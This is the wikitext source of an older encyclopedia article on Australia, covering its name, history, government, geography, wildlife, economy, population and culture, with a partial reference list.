footnotes=&lt;sup&gt;1&lt;/sup&gt;English does not have ''de jure'' official status ([http://www.immi.gov.au/multicultural/_inc/publications/confer/04/speech18b.htm source]) &lt;br&gt;&lt;sup&gt;2&lt;/sup&gt;There are some minor variations from these three timezones, see [[States and territories of Australia]]&lt;div class=&quot;noprint&quot; style=&quot;float:right;&quot;&gt; ''[http://en.wikipedia.org/w/index.php?title=Template:Infobox_Australia&amp;action=edit edit] [http://en.wikipedia.org/w/index.php?title=Template:Infobox_Australia&amp;action=watch watch] [http://en.wikipedia.org/w/index.php?title=Australia&amp;action=purge purge]''&lt;/div&gt;
}}
&lt;!--PLEASE USE AUSTRALIAN ENGLISH THROUGHOUT THIS ARTICLE--&gt;
The '''Commonwealth of Australia''' is a country in the [[Southern Hemisphere]] comprising the world's smallest [[continent]] and a number of islands in the [[Southern Ocean|Southern]], [[Indian Ocean|Indian]] and [[Pacific Ocean]]s. Australia's neighbouring countries include [[Indonesia]], [[East Timor]] and [[Papua New Guinea]] to the north, the [[Solomon Islands]], [[Vanuatu]] and the [[France|French]] dependency of [[New Caledonia]] to the northeast, and [[New Zealand]] to the southeast.

The [[Australia (continent)|continent of Australia]] has been inhabited for over 40,000 years by [[Indigenous Australians]]. After sporadic visits by fishermen from the north and by [[Europe]]an explorers and merchants starting in the 17th century, the eastern half of the continent was claimed by the [[British]] in 1770 and officially settled as the [[penal colony]] of [[New South Wales]] on [[26 January]] [[1788]]. As the population grew and new areas were explored, another five largely self-governing [[British overseas territory|British Crown Colonies]] were successively established over the course of the 19th century.

On [[1 January]] [[1901]], the six colonies [[Federation of Australia|federated]] and the Commonwealth of Australia was formed. Since federation, Australia has maintained a stable [[liberal democracy|liberal democratic]] political system and remains a [[Commonwealth Realm]]. The current population of around 20.4 million is concentrated mainly in the large coastal cities of [[Sydney]], [[Melbourne]], [[Brisbane]], [[Perth, Western Australia|Perth]], and [[Adelaide]].

== Origin and history of the name ==
The name Australia is derived from the [[Latin language|Latin]] ''australis'', meaning ''southern''. Legends of an &quot;unknown southern land&quot; (''[[Terra Australis|terra australis incognita]]'') date back to the Roman times and were commonplace in mediaeval geography, but they were not based on any actual knowledge of the continent. The Dutch adjectival form ''Australische'' (&quot;Australian&quot;, in the sense of &quot;southern&quot;) was used by Dutch officials in [[Jakarta|Batavia]] to refer to the newly discovered land to the south as early as 1638. The first use of the word &quot;Australia&quot; in [[English language|English]] was a 1693 translation of ''Les Aventures de Jacques Sadeur dans la Découverte et le Voyage de la Terre Australe'', a 1692 French novel by [[Gabriel de Foigny]] under the pen name Jacques Sadeur {{ref|Baker}}. &lt;!-- there was a 1676 version, but it was suppressed --&gt;  [[Alexander Dalrymple]] then used it in ''An Historical Collection of Voyages and Discoveries in the South Pacific Ocean'', published in 1771. He used the term to refer to the entire South Pacific region, not specifically to the Australian continent. In 1793, [[George Shaw]] and [[James Edward Smith|Sir James Smith]] published ''Zoology and Botany of New Holland'', in which they wrote of &quot;the vast island, or rather continent, of Australia, Australasia or [[New Holland (Australia)|New Holland]].&quot;
[[Image:Flinders View of Port Jackson taken from South Head.jpg|200px|thumb|left|View of [[Port Jackson]], taken from the South Head, from ''A Voyage to Terra Australis''. [[Sydney]] was established on this site.]]
The name &quot;Australia&quot; was popularised by the 1814 work ''A Voyage to Terra Australis'' by the navigator [[Matthew Flinders]]. Despite its title, which reflected the view of the Admiralty, Flinders used the word &quot;Australia&quot; in the book, which was widely read and gave the term general currency. Governor [[Lachlan Macquarie]] of [[New South Wales]] subsequently used the word in his dispatches to [[England]]. In 1817 he recommended that it be officially adopted. In 1824, the British Admiralty agreed that the continent should be known officially as Australia.

The word &quot;Australia&quot; in [[Australian English]] is [[IPA chart for English|pronounced]] as either {{IPA|/ə.ˈstɹæɪ.ljə/}}, {{IPA|/ə.ˈstɹæɪ.liː.ə/}} or {{IPA|/ə.ˈstɹæɪ.jə/}}.

== History ==
{{main|History of Australia}}
The first human habitation of Australia is estimated to have occurred between 42,000 and 48,000 years ago.{{ref|Gillespie2002}} The first Australians were the ancestors of the current [[Indigenous Australians]]; they arrived via land bridges and short sea-crossings from present-day [[Southeast Asia]]. Most of these people were [[hunter-gatherer]]s, with a complex oral culture and spiritual values based on reverence for the land and a belief in the [[Dreamtime (mythology)|Dreamtime]]. The [[Torres Strait Islanders]], ethnically [[Melanesia]]n, inhabited the [[Torres Strait Islands]] and parts of far-north [[Queensland]]; they possess distinct cultural practices from the Aborigines.
[[Image:Endeavour replica in Cooktown harbour.jpg|240px|left|thumb|Lieutenant [[James Cook]] charted the East coast of Australia on [[HM Bark Endeavour|HM Bark ''Endeavour'']], claiming the land for Britain in 1770. This replica was built in [[Fremantle, Western Australia|Fremantle]] in 1988 for Australia's bicentenary.]]
The first undisputed recorded European sighting of the Australian continent was made by the Dutch navigator [[Willem Jansz]], who sighted the coast of [[Cape York Peninsula]] in 1606. During the 17th century, the Dutch charted the whole of the western and northern coastlines of what they called [[New Holland (Australia)|New Holland]], but made no attempt at settlement. In 1770, [[James Cook]] sailed along and mapped the east coast of Australia, which he named [[New South Wales]] and claimed for Britain. The expedition's discoveries provided impetus for the establishment of a [[penal colony]] there following the loss of the American colonies that had previously filled that role.
[[Image:Port Arthur Seeseite.jpg|260px|thumb|right|[[Port Arthur, Tasmania|Port Arthur]], [[Tasmania]] was Australia's largest penal colony.]]
The British [[British overseas territory|Crown Colony]] of New South Wales started with the establishment of a settlement at [[Port Jackson]] by Captain [[Arthur Phillip]] on [[26 January]] [[1788]]. This date was later to become Australia's national day, [[Australia Day]]. [[Van Diemen's Land]], now known as [[Tasmania]], was settled in 1803 and became a separate colony in 1825. The United Kingdom formally claimed the western part of Australia in 1829. Separate colonies were created from parts of New South Wales: [[South Australia]] in 1836, [[Victoria (Australia)|Victoria]] in 1851, and [[Queensland]] in 1859. The [[Northern Territory]] (NT) was founded in 1863 as part of the Province of South Australia. Victoria and South Australia were founded as &quot;free colonies&quot; — that is, they were never penal colonies, although the former did receive some convicts from Tasmania. Western Australia was also founded &quot;free&quot;, but later accepted transported convicts due to an acute labour shortage. The transportation of convicts to Australia was phased out between 1840 and 1868.

The [[Indigenous Australian]] population, estimated at about 350,000 at the time of European settlement,{{ref|Smith1980}} declined steeply for 150 years following settlement, mainly due to infectious disease, forced migration, the [[Stolen Generation|removal of children]], and other colonial government policies that some historians and Indigenous Australians have argued could be considered tantamount to [[Convention on the Prevention and Punishment of the Crime of Genocide|genocide]] by today's understanding.{{ref|Tatz1999}} Such interpretations of Aboriginal history are disputed by some as being exaggerated or fabricated for political or ideological reasons.{{ref|wind2001}} {{ref|smh2002}} This debate is known within Australia as the [[History Wars]]. Following the [[Australian referendum, 1967 (Aboriginals)|1967 referendum]], the Federal government gained the power to implement policies and make laws with respect to Aborigines. Traditional ownership of land — [[native title]] — was not recognised until the [[High Court of Australia|High Court]] case ''[[Mabo v Queensland (No 2)]]'' overturned the notion of Australia as ''[[terra nullius]]'' at the time of European occupation.
[[Image:Anzac1.JPG|left|thumb|240px|The [[Last Post]] is played at an [[ANZAC Day]] ceremony in [[Port Melbourne, Victoria]], [[25 April]] [[2005]]. Ceremonies such as this are held in virtually every suburb and town in Australia.]] 
A [[gold rush]] began in Australia in the early 1850s, and the [[Eureka Stockade]] rebellion in 1854 was an early expression of nationalist sentiment. Between 1855 and 1890, the six colonies individually gained [[responsible government]], managing most of their own affairs while remaining part of the [[British Empire]]. The Colonial Office in London retained control of some matters, notably foreign affairs, defence and international shipping. On [[1 January]] [[1901]], [[Federation of Australia|federation]] of the colonies was achieved after a decade of planning, consultation and voting, and the Commonwealth of Australia was born, as a [[Dominion]] of the [[British Empire]]. The [[Australian Capital Territory]] (ACT) was formed from New South Wales in 1911 to provide a location for the proposed new federal capital of [[Canberra]] ([[Melbourne]] was the capital from 1901 to 1927). The Northern Territory was transferred from the control of the South Australian government to the Commonwealth in 1911. Australia willingly participated in [[World War I]];{{ref|Bean1941}} many Australians regard the defeat of the [[Australian and New Zealand Army Corps]] (ANZACs) at [[Battle of Gallipoli|Gallipoli]] as the birth of the nation — its first major military action. The Gallipoli campaign is often erroneously portrayed as or conceived to have been a solely or mainly ANZAC campaign. The reality was that British deaths during the campaign were twice as high as those of ANZAC forces. Much like Gallipoli, the [[Kokoda Track Campaign]] is regarded by many as a nation-defining battle from [[World War II]].

The [[Statute of Westminster 1931]] formally ended most of the constitutional links between Australia and the United Kingdom, but Australia did not [[Statute of Westminster Adoption Act 1942|adopt the Statute]] until 1942. The shock of the United Kingdom's defeat in Asia in 1942 and the threat of Japanese invasion caused Australia to turn to the [[United States]] as a new ally and protector. Since 1951, Australia has been a formal military ally of the US under the auspices of the [[ANZUS]] treaty. After World War II, Australia encouraged mass immigration from Europe; since the 1970s and the abolition of the [[White Australia policy]], immigration from Asia and other parts of the world was also encouraged. As a result, Australia's demography, culture and image of itself were radically transformed. The final constitutional ties between Australia and the United Kingdom ended in 1986 with the passing of the [[Australia Act 1986]], ending any British role in the Australian States, and ending judicial appeals to the UK Privy Council. Australian voters rejected a move to become a republic in 1999 by a 55% majority,{{ref|AEC}} but the result is generally viewed in terms of dissatisfaction with the specifics of the proposed republican model rather than attachment to the monarchy. Since the election of the [[Gough Whitlam|Whitlam Government]] in 1972, there has been an increasing focus on the nation's future as a part of the Asia-Pacific region.

==Politics==
{{main articles|[[Government of Australia]] and [[Politics of Australia]]}}
[[Image:NewParliamentHouseInCanberra.jpg|thumb|right|240px|New [[Parliament House, Canberra|Parliament House]] in [[Canberra]] was opened in 1988 replacing the [[Old Parliament House, Canberra|provisional Parliament House building]] opened in 1927.]]

The Commonwealth of Australia is a [[constitutional monarchy]] and has a [[parliamentary system]] of government. [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] is the [[Queen of Australia]], a role that is distinct from her position as Elizabeth II of the United Kingdom. The Queen is nominally represented by the [[Governor-General of Australia|Governor-General]]; although the [[Constitution of Australia|Constitution]] gives extensive [[Executive (government)|executive powers]] to the Governor-General, these are normally exercised only on the advice of the [[Prime Minister of Australia|Prime Minister]]. The most notable exercise of the Governor-General's [[reserve power]]s outside the Prime Minister's direction was the dismissal of the Whitlam Government in the [[Australian constitutional crisis of 1975|constitutional crisis of 1975]].{{ref|PL1997}}

There are three branches of government.
*The legislature: the [[Parliament of Australia|Commonwealth Parliament]], comprising the Queen, the Senate, and the House of Representatives; the Queen is represented by the Governor-General, who in practice exercises little or no power over the Parliament.
*The executive: the [[Federal Executive Council]] (the Governor-General as advised by the executive councillors); in practice, the councillors are the prime minister and ministers of state, whose advice the Governor-General accepts, with rare exceptions.
*The judiciary: the [[High Court of Australia]] and other [[Australian court hierarchy|federal courts]]. The State courts became formally independent from the [[Judicial Committee of the Privy Council]] when the ''[[Australia Act]]'' was passed in 1986.

The [[Bicameralism|bicameral]] Commonwealth Parliament consists of the Queen, the [[Australian Senate|Senate]] (the upper house) of 76 senators, and a [[Australian House of Representatives|House of Representatives]] (the lower house) of 150 members. Members of the lower house are elected from single-member constituencies, commonly known as 'electorates' or 'seats'. Seats in the House of Representatives are allocated to states on the basis of population. In the Senate, each state, regardless of population, is represented by 12 senators, with the ACT and the NT each electing two. Elections for both chambers are held every three years; typically only half of the Senate seats are put to each election, because senators have overlapping six-year terms.  The party with majority support in the House of Representatives forms Government, with its leader becoming Prime Minister.

There are three major political parties: the [[Australian Labor Party|Labor Party]], the [[Liberal Party of Australia|Liberal Party]] and the [[National Party of Australia|National Party]]. Independent members and several minor parties — including the [[Australian Greens|Greens]], [[Family First Party|Family First]] and the [[Australian Democrats]] — have achieved representation in Australian parliaments, mostly in upper houses, although their influence has been marginal. Since the [[Australian legislative election, 1996|1996 election]], the [[Coalition (Australia)|Liberal/National Coalition]] led by the Prime Minister, [[John Howard]], has been in power in Canberra. In the [[Australian legislative election, 2004|2004 election]], the Coalition won control of the Senate, the first time that a party (or coalition of governing parties) has done so while in government in more than 20 years. The Labor Party is in power in every state and territory.  [[Compulsory voting|Voting is compulsory]] in each state and territory and at the federal level.

== States and territories==
{{main|States and territories of Australia}}
[[Image:Map of Australia.png|thumb|240px|States and territories of Australia]]
Australia consists of six states, two major mainland territories, and other minor territories. The states are [[New South Wales]], [[Queensland]], [[South Australia]], [[Tasmania]], [[Victoria (Australia)|Victoria]] and [[Western Australia]]. The two major mainland territories are the [[Northern Territory]] and the [[Australian Capital Territory|Australian Capital Territory]].
In most respects, the territories function similarly to the states, but the Commonwealth Parliament can override any legislation of their parliaments. By contrast, federal legislation overrides state legislation only with respect to certain areas as set out in [[Section 51 of the Australian Constitution|Section 51]] of the [[Constitution of Australia|Constitution]]; all residual legislative powers are retained by the state parliaments, including powers over hospitals, education, police, the judiciary, roads, public transport and local government. 

Each state and territory has its own [[Parliaments of the Australian states and territories|legislature]] ([[Unicameralism|unicameral]] in the case of the Northern Territory, the ACT and Queensland, and bicameral in the remaining states). The [[lower house]] is known as the [[Legislative Assembly]] ([[House of Assembly]] in South Australia and Tasmania) and the [[upper house]] the [[Legislative Council]]. The [[head of government|heads of the governments]] in each state and territory are called [[Premiers of the Australian states|premiers]] and [[Chief Minister|chief ministers]], respectively. The Queen is represented in each state by a [[Governors of the Australian states|governor]]; an [[Administrator of the Northern Territory|administrator]] in the Northern Territory, and the Governor-General in the ACT, have analogous roles.

Australia also has several minor territories; the federal government administers a separate area within New South Wales, the [[Jervis Bay Territory]], as a naval base and sea port for the national capital. In addition Australia has the following, inhabited, external territories: [[Norfolk Island]], [[Christmas Island]], [[Cocos (Keeling) Islands]], and several largely uninhabited external territories: [[Ashmore and Cartier Islands]], [[Coral Sea Islands]], [[Heard Island and McDonald Islands]] and the [[Australian Antarctic Territory]].

==Foreign relations and military==
{{main articles|[[Foreign relations of Australia]] and [[Australian Defence Force]]}}

Over recent decades, [[Foreign relations of Australia|Australia's foreign relations]] have been driven by a close association with the [[United States]], through the [[ANZUS|ANZUS pact]] and by a desire to develop relationships with [[Asia]] and the Pacific, particularly through [[Association of Southeast Asian Nations|ASEAN]] and the [[Pacific Islands Forum]]. In 2005 Australia secured an inaugural seat at the [[East Asia Summit]] following its accession to the Treaty of Amity and Cooperation. Australia is a member of the [[Commonwealth of Nations]], in which the [[Commonwealth Heads of Government]] meetings provide the main forum for co-operation. Much of Australia's diplomatic energy is focused on international trade liberalisation. Australia led the formation of the [[Cairns Group]] and [[Asia-Pacific Economic Cooperation|APEC]], and is a member of the [[Organisation for Economic Co-operation and Development|OECD]] and the [[WTO]]. Australia has pursued several major bilateral free trade agreements, most recently the [[Australia-United States Free Trade Agreement|Australia-US Free Trade Agreement]]. Australia is a founding member of the [[United Nations]], and maintains an international aid program under which some 60 countries receive assistance. The 2005–06 budget provides A$2.5&amp;nbsp;bn for development assistance;{{ref|AGov2005}} as a percentage of GDP, this contribution is less than that of the UN [[Millennium Development Goals]]. 

Australia's armed forces — the [[Australian Defence Force]] (ADF) — comprise the [[Royal Australian Navy]] (RAN), the [[Australian Army]], and the [[Royal Australian Air Force]] (RAAF). All branches of the ADF have been involved in UN and regional peacekeeping (most recently in East Timor, the Solomon Islands and [[Sudan]]), disaster relief, and armed conflict, including the [[2003 Invasion of Iraq]]. The government appoints the chief of the Defence Force from one of the armed services; the current chief is Air Chief Marshal [[Angus Houston]]. In 2005–06, the defence budget is A$17.5&amp;nbsp;bn.{{ref_label|AGov2005|8|a}}

==Geography==
{{main|Geography of Australia}}
[[Image:Australia-climate-map_MJC01.png|thumb|250px|Climate map of Australia]]
Australia's 7,686,850 [[square kilometre]]s (2,967,909 [[square mile|sq.&amp;nbsp;mi]]) landmass is on the [[Indo-Australian Plate]]. Surrounded by the [[Indian Ocean|Indian]], [[Southern Ocean|Southern]] and [[Pacific Ocean|Pacific]] oceans, Australia is separated from Asia by the [[Arafura Sea|Arafura]] and [[Timor Sea|Timor]] seas. Australia has a total 25,760 [[kilometre]]s (16,007&amp;nbsp;[[mile|mi]]) of coastline and claims an extensive [[Exclusive Economic Zone]] of 8,148,250 square kilometres (3,146,057&amp;nbsp;sq.&amp;nbsp;mi). This exclusive economic zone does not include the [[Australian Antarctic Territory]]. 

The Great Barrier Reef, the world's largest coral reef, lies a short distance off the north-east coast and extends for over 2,000 kilometres (1,250&amp;nbsp;mi). The world's two largest monoliths are located in Australia, Mount Augustus in Western Australia is the largest and Uluru in central Australia is the second largest. At 2,228 [[metre]]s (7,310 [[foot (unit of length)|ft]]), Mount Kosciuszko on the Great Dividing Range is the highest mountain on the Australian mainland, although Mawson Peak on the remote Australian territory of Heard Island is taller at 2,745 metres (9,006&amp;nbsp;[[foot (unit of length)|ft]]).

==Climate==
The largest part of Australia is [[desert]] or [[semi-arid]] – 40% of the landmass is covered by [[sand dune]]s. Only the south-east and south-west corners have a temperate climate and moderately fertile soil. The northern part of the country has a tropical climate: part is tropical [[rainforest]]s, part grasslands, and very little desert. Australia receives [[snowfall]] in some cities, but mostly in towns and at higher evaluations. Climate is highly influenced by ocean currents, including the [[El Niño]] southern oscillation, which is correlated with periodic drought, and the seasonal tropical low pressure system that produces cyclones in northern Australia. Rainfall is highly variable, with frequent [[drought]]s. Rising levels of [[salinity]] and desertification in some areas. 

Australia is situated in the middle of the tectonic plate, and therefore has no active volcanism only extinct volcanos, although it may sometimes receive minor earthquakes. The terrain is mostly heavily weathered, low [[plateau]] with deserts, rangelands and a fertile plain in southeast.  Tasmania and the [[Australian Alps]] do not contain any permanent [[icefield]]s or [[glacier]]s, although they may have existed in the past. The [[Great Barrier Reef]], by far the world's largest [[coral]] [[reef]], lies a short distance off the north-east coast. [[Mount Augustus National Park|Mount Augustus]], in [[Western Australia]], is the largest [[monolith]] in the world.

== Flora and fauna ==
{{main articles|[[Flora of Australia]] and [[Fauna of Australia]]}}
[[Image:Koala climbing tree.jpg|right|thumb|240px|The [[Koala]] and the ''[[Eucalyptus]]'' make an iconic pair of Australian flora and fauna.]]
Although most of Australia is semi-arid or desert, it covers a diverse range of habitats, from alpine heaths to tropical [[rainforest]]s. Because of the great age and consequent low levels of fertility of the continent, its extremely variable weather patterns and its long-term geographic isolation, much of Australia's [[biota (ecology)|biota]] is unique and [[biodiversity|diverse]]. About 85% of [[flowering plant]]s, 84% of [[mammal]]s, more than 45% of [[List of Australian birds|bird]]s, and 89% of in-shore, temperate-zone fish are [[Endemic (ecology)|endemic]].{{ref|DEH}} Many of Australia's ecoregions, and the species within those regions, are threatened by human activities and [[Invasive species in Australia|introduced plant and animal species]]. The federal ''Environment Protection and Biodiversity Conservation Act 1999'' is a legal framework used for the protection of threatened species. Numerous [[Protected areas of Australia|protected areas]] have been created to protect and preserve Australia's unique ecosystems, 64 wetlands are registered under the [[Ramsar Convention]], and 16 [[World Heritage Site]]s have been established. Australia was ranked 13th in the World on the 2005 [[Environmental Sustainability Index]].

Most Australian plant species are evergreen and many are adapted to fire and drought, including the [[Eucalyptus|eucalyptus]] and [[acacia]]s. Australia has a rich variety of endemic [[legume]] species that thrive in nutrient-poor soils because of their symbiosis with [[Rhizobia]] bacteria and [[Mycorrhiza|mycorrhizal]] fungi. Well-known Australian fauna include [[monotreme]]s (the [[platypus]] and [[echidna]]); a host of [[marsupial]]s, including the [[koala]], [[kangaroo]], [[wombat]]; and birds such as the [[emu]], [[cockatoo]], and [[kookaburra]]. The [[dingo]] was introduced by Austronesian people that traded with Indigenous Australians around 4000 [[Common Era|BCE]]. Many plant and animal species became extinct soon after human settlement, including the [[Australian megafauna]]; many more have become extinct since European settlement, among them the [[Thylacine]] (Tasmanian Tiger).

== Economy ==
{{main|Economy of Australia}}
[[Image:Melbourne yarra afternoon.jpg|240px|thumb|right| [[Melbourne]]'s population is approximately 3.7 million, the second largest in Australia]]
Australia has a prosperous, Western-style [[mixed economy]], with a per capita [[Gross domestic product|GDP]] slightly higher than those of the UK, [[Germany]] and [[France]]. The country was ranked third in the [[United Nations]]' 2005 [[Human Development Index]] and sixth in ''[[The Economist]]'' worldwide quality-of-life index 2005. In recent years, the Australian economy has been resilient in the face of global economic downturn. Rising output in the domestic economy has been offsetting the global slump, and business and consumer confidence remains robust. Australia's emphasis on economic reform is often claimed to be key factor behind the economy's strength. In the 1980s, the Labor Party, led by [[Prime Minister of Australia|Prime Minister]] [[Bob Hawke]] and [[Treasurer of Australia|Treasurer]] [[Paul Keating]], started the process of economic reform by [[Floating exchange rate|floating]] the [[Australian dollar]] in 1983, and deregulating the financial system.{{ref|Macfarlane1998}} Since 1996, the Howard government has continued the process of micro-economic reform, including the partial deregulation of the labour market and the privatisation of state-owned businesses, most notably in the [[Communications in Australia|telecommunications]] industry.{{ref|Parham2002}} Substantial reform of the indirect tax system was implemented in July 2000 with the introduction of a 10% [[Goods and Services Tax (Australia)|Goods and Services Tax]], which has slightly reduced the heavy reliance on personal and company income tax that still characterises Australia's tax system.

The Australian economy has not suffered a [[recession]] since the early 1990s. As of January 2006, [[unemployment]] was 5.3% with 10,034,500 persons employed.{{ref|ABS6202}} The service sector of the economy, including tourism, education, and financial services, comprises 69% of GDP.{{ref|DFAT}} [[Agriculture in Australia|Agriculture]] and natural-resources represent only 3% and 5% of GDP, respectively, but contribute substantially to Australia's export performance. Australia's largest export markets include [[Japan]], [[People's Republic of China|China]], the United States, [[South Korea]] and New Zealand.{{ref|ABS2005}} Areas of concern to some economists include the chronically high [[current account deficit]] and also high levels of net foreign debt.

== Demographics ==
{{main|Demographics of Australia}}
[[Image:Sydney_opera_house_and_skyline.jpg|thumb|259px|right|Most Australians live in urban areas; [[Sydney]] is the most populous city in Australia.]]

Most of the estimated 20.4 million Australians are descended from 19th- and 20th-century immigrants, the majority from [[Great Britain]] and [[Ireland]]. Australia's population has quadrupled since the end of World War I {{ref|ABS}}, spurred by an ambitious [[Immigration to Australia|immigration]] program. In 2001, the five largest groups of the 27.4% of Australians who were born overseas were from the United Kingdom, [[New Zealand]], [[Italy]], [[Vietnam]] and China.{{ref_label|ABS2005|13|a}} Following the abolition of the [[White Australia policy]] in [[1973]], numerous government initiatives have been established to encourage and promote racial harmony based on a policy of [[multiculturalism]]{{ref|DIMIA}}. Australia’s population has increased by about 60 times since European settlement.

The self-declared indigenous population — including Torres Strait Islanders, who are of Melanesian descent — was 410,003 (2.2% of the total population) in 2001, a significant increase from the 1977 census, which showed an indigenous population of 115,953.{{ref|ABS2001}} Indigenous Australians have higher rates of imprisonment and unemployment, lower levels of education and life expectancies for males and females that are 17 years lower than those of other Australians.{{ref_label|ABS2005|13|b}} Perceived racial inequality is an ongoing political and [[human rights in Australia|human rights]] issue for Australians.

[[Image:Tanunda.jpg|left|thumb|240px|Fewer than 15% of Australians live in rural areas. This picture shows the [[Barossa Valley]] wine producing region of [[South Australia]].]]

In common with many other developed countries, Australia is experiencing a demographic shift towards an older population, with more retirees and fewer people of working age. A large number of Australians (759,849 for the period 2002&amp;ndash;03{{ref|PoA2005}}) live outside their home country. Australia has maintained one of the most active [[Immigration to Australia|immigration]] programs in the world to boost population growth. Most immigrants are skilled; the quota includes categories for family members and [[refugee]]s. 

[[English language|English]] is the [[official language]],{{ref|DIMIA2}} and is spoken and written in a distinct variety known as [[Australian English]]. According to the 2001 census, English is the only language spoken in the home for around 80% of the population. The next most common languages spoken at home are [[Chinese language|Chinese]] (2.1%), [[Italian language|Italian]] (1.9%) and [[Greek language|Greek]] (1.4%). A considerable proportion of first- and second-generation migrants are [[Multilingual|bilingual]]. It is believed that there were between 200 and 300 [[Australian Aboriginal languages]] at the time of first European contact.  Only about 70 of these languages have survived, and all but 20 of these are now [[endangered languages|endangered]]. An indigenous language remains the main language for about 50,000 (0.02%) people. Australia has a [[sign language]] known as [[Auslan]], which is the main language of about 6,500 [[deaf]] people.

Australia has no [[state religion]].  The 2001 census identified that 68% of Australians call themselves Christian: 27% identifying themselves as [[Roman Catholic Church in Australia|Roman Catholic]] and 21% as [[Anglican Church|Anglican]]. Australians that identify themselves as followers of non-Christian religions number 5%. A total of 16% were categorised as having &quot;No Religion&quot; (which includes non theistic beliefs such as [[secular humanism|Humanism]], [[atheism]], [[agnosticism]] and [[rationalism]]) and a further 12% declined to answer or did not give a response adequate for interpretation. As in many Western countries, the level of active participation in church worship is much lower than this; weekly attendance at church services is about 1.5 million, about 7.5% of the population.{{ref|NCLSattsurvey}}

School attendance is compulsory throughout Australia between the ages of 6&amp;ndash;15 years (16 years in South Australia and Tasmania), contributing to an adult literacy rate that is assumed to be 99%. Government grants have supported the establishment of Australia's 38 universities, and although several private universities have been established, the majority receive government funding. There is a state-based system of vocational training colleges, known as [[Technical and Further Education|TAFE Institutes]], and many trades conduct [[apprenticeship]]s for training new tradespeople. Approximately 58% of Australians between the ages of 25 and 64 have vocational or tertiary qualifications.{{ref_label|ABS2005|13|c}}

== Culture ==
{{main|Culture of Australia}}
[[Image:Golden Summer Eaglemont Arthur Streeton.jpg|right|thumb|240px|''Golden Summer, Eaglemont'' ([[Eaglemont, Victoria]]) by [[Arthur Streeton]] (1889) is an early example of the rich tradition of Australian [[landscape painting]].]]
The primary basis of Australian culture up until the mid-20th century was [[Anglo-Celtic]], although distinctive Australian features had been evolving from the environment and [[Australian Aborigine|indigenous]] culture. Over the past 50 years, Australian culture has been strongly influenced by American popular culture (particularly television and cinema), large-scale immigration from non-English-speaking countries, and Australia's Asian neighbours.  The vigour and originality of the arts in Australia—films, opera, music, painting, theater, dance, and crafts—are achieving international recognition.

Australia has a long history of visual arts, starting with the [[Cave painting|cave]] and bark paintings of its indigenous peoples. From the time of European settlement, a common theme in [[Art of Australia|Australian art]] has been the Australian landscape, seen in the works of [[Arthur Streeton]], [[Arthur Boyd]] and [[Albert Namatjira]], among others. The traditions of indigenous Australians are largely transmitted orally and are closely tied to ceremony and the telling of the stories of the [[Dreamtime (mythology)|Dreamtime]]. [[Australian Aboriginal music]], dance and [[Australian Aboriginal art|art]] have a palpable influence on contemporary Australian visual and performing arts. Australia has an active tradition of [[music]], [[ballet]] and [[theatre]]; many of its performing arts companies receive public funding through the federal government's [[The Australia Council|Australia Council]]. There is a [[Orchestra|symphony orchestra]] in each capital city, and a national [[opera]] company, [[Opera Australia]], first made prominent by the renowned diva [[Joan Sutherland|Dame Joan Sutherland]]; [[Music of Australia|Australian music]] includes classical, jazz, and many popular music genres.

[[Australian literature]] has also been influenced by the landscape; the works of writers such as [[Banjo Paterson]] and [[Henry Lawson]] captured the experience of the Australian bush. The character of colonial Australia, as embodied in early literature, resonates with modern Australia and its perceived emphasis on [[egalitarianism]], mateship, and anti-authoritarianism. In 1973, [[Patrick White]] was awarded the [[Nobel Prize in Literature]], the only Australian to have achieved this; he is recognised as one of the great English-language writers of the 20th century. [[Australian English]] is a major variety of the language; its grammar and spelling are largely based on those of British English, overlaid with a rich vernacular of unique lexical items and phrases, some of which have found their way into standard English.

Australia has two public broadcasters (the [[Australian Broadcasting Corporation|ABC]] and [[Special Broadcasting Service|SBS]]), three commercial [[television network]]s, three pay TV services, and numerous public, non-profit television and radio stations. [[Cinema of Australia|Australia's film industry]] has achieved critical and commercial successes. Each major city has daily newspapers, and there are two national daily newspapers, ''[[The Australian]]'' and ''[[The Australian Financial Review]]''. According to [[Reporters Without Borders]] in 2005, Australia is in 31st position on a list of countries ranked by [[freedom of the press|press freedom]], behind [[New Zealand]] (9th)  and the [[United Kingdom]] (28th) but ahead of the [[United States]]. This ranking is primarily due to the limited diversity of commercial media ownership in Australia. Most Australian [[Publishing|print media]] in particular is under the control of either [[News Corporation]] or [[John Fairfax Holdings]].
[[Image:Aussie rules wikipedia.jpg|thumb|240px|right|[[Australian rules football]] was developed in [[Melbourne]], Australia and is played at amateur and professional levels.]]

[[Sport in Australia|Sport]] is an important part of Australian culture, assisted by a climate that favours outdoor activities; 23.5% Australians over the age of 15 regularly participate in organised sporting activities{{ref_label|ABS2005|13|d}}. At an international level, Australia has particularly strong teams in [[cricket]], [[field hockey|hockey]], [[netball]], [[rugby league]], [[rugby union]], and performs well in [[cycling]] and [[swimming]]. Australia has participated in every summer [[Olympic Games]] of the modern era, and every [[Commonwealth Games]]. Australia has hosted the [[1956 Summer Olympics|1956]] and [[2000 Summer Olympics|2000]] Summer Olympics, and has ranked among the top five medal-takers since 2000. In [[2004]], it collected 49 Olympic medals (17 gold, 16 silver and 16 bronze). Australia has also hosted the [[1938 British Empire Games|1938]], [[1962 British Empire and Commonwealth Games|1962]] and [[1982 Commonwealth Games|1982]] Commonwealth Games, and will host the [[2006 Commonwealth Games]] in [[Melbourne]]. [[Australian rules football]] is the most popular national sport; players gain some international prominence through [[International rules football|International Rules]] which is an annual meeting between the Australian code and Irish Gaelic Football. However, [[Rugby League]] is more popular than Australian Rules in New South Wales and Queensland. The [[Australian Open]] is one of the four [[Grand Slam (tennis)|Grand Slam]] tennis tournaments, held in [[Melbourne]] each January. The F1 [[Australian Grand Prix]] is also held in Melbourne, usually towards the end of March each year. Corporate and government sponsorship of many sports and élite athletes is common in Australia. 

Televised sport is popular; some of the highest rating television programs include the summer Olympic Games and the grand finals of local and international football competitions.{{ref|AFC}}

== See also ==
{{Template:Australian Topics}}

==References==
&lt;!--This article uses [[Wikipedia:Footnote3]] please add references using that system and adjust the other references as necessary--&gt;
&lt;div style=&quot;font-size: 90%&quot;&gt;
#{{note|Baker}}Sidney J. Baker, ''The Australian Language'', second edition, 1966.
#{{note|Gillespie2002}}Gillespie, R. (2002). Dating the first Australians. ''Radiocarbon'' 44:455-472
#{{note|Smith1980}}Smith, L. (1980), The Aboriginal Population of Australia, Australian National University Press, Canberra
#{{note|Tatz1999}}Tatz, C. (1999). ''[http://www.aiatsis.gov.au/rsrch/rsrch_dp/genocide.htm Genocide in Australia]'', AIATSIS Research Discussion Papers No 8, Australian Institute of Aboriginal and Torres Strait Islander Studies, Canberra
